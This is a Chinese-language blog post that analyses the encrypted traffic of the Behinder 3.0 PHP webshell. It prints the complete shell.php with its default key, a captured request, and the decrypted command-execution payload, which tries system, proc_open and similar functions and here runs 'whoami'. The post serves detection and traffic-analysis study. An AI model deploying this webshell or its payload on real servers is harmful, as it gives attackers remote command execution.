behinder3.0流量分析(PHP)

  1. 流量解密

冰蝎为一款主流Webshell管理工具,本篇分析Benhinder3.0中php shell流量。

Github:https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11/Behinder_v3.0_Beta_11.t00ls.zip

测试环境:

1
2
3
Win7
PhpStudy
Behinder3.0

为了方便测试,php需开启openssl插件。

Behinder内置Webshell,在server目录下

shell.php内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

和Behinder2.0相比,可以发现加密方式并没有改变,若开启了openssl,则会采用AES128->base64进行解密,若未开启openssl,则会使用base64->异或进行解密。

将/server/shell.php放置在phpstudy网站目录中,使用Behinder3.0进行连接,默认密码为rebeyond

成功连接

流量解密

这里为了直观我将流量代理至burp进行分析,打开webshell之后,bp一共抓到了两个数据包第一个数据包是用来判断连通性,第二个数据包收集了一些系统的基本信息,同Behinder2.0相比,3.0取消了两次获取秘钥的操作,直接将秘钥规定成了md5(“pass”)[0:16]。

AES解密:http://tools.bugscaner.com/cryptoaes/
Base64解密:https://tool.oschina.net/encrypt?type=3

这里在Behinder中通过cmd查询当前用户

POST数据如下:

1
3Mn1yNMtoZViV5wotQHPJtwwj0F4b2lyToNK7LfdUnN7zmyQFfx/zaiGwUHg+8SlRr5QAWVdopiiVczjpFLjyU6RAwyoJGgtn557dToKwwo/7Pwvfbbo3ZplI40L++SawBYFYdic+roWObO9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P46Uk/ob59MJbjcNaC7jVcoLuglco9eK7dUXoa35O352kiJzCjjHRhW4smdAR7ESXEaZDuXql5AOiwUk7XfMooVuBckysw+r7VOlEgBbXG10fHgbIDc4va+4URC9I7s8nM89OLtRYIVAIfC03O7tPv+PASKWoTa+kFSqwM37KyQ0WTis7EKT5tZS48wYc1CE9isIgR3GtSgsfmpB585mzI9nkdNu8RBuq0LDyYkEi4QZ5OM9NspSVDrcgh02xsDT+Q==

解密后得到php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1wiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXLw==";$path=base64_decode($path);
main($cmd,$path);

其中cmdbase64再次解密后为:

1
cd /d "C:\phpStudy\PHPTutorial\WWW\"&whoami

可以看见执行了我们想要的系统命令,再来看返回包的内容

1
2
3
4
5
6
原始返回数据:
mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j6s/lQ/FSv4i/f1oXtFnU8jMC7rtIEWFK+lwkXIolWSPw==
AES解密后数据:
{"status":"c3VjY2Vzcw==","msg":"c3dhZzctcGNcc3dhZzcNCg=="}
base64解密后的msg:
swag7-pc\swag7


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:behinder3.0流量分析(PHP)

本文作者:sher10ck

发布时间:2021-06-23, 15:27:30

最后更新:2021-06-23, 16:50:50

原始链接:http://sherlocz.github.io/2021/06/23/behinder3-analysis-php/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录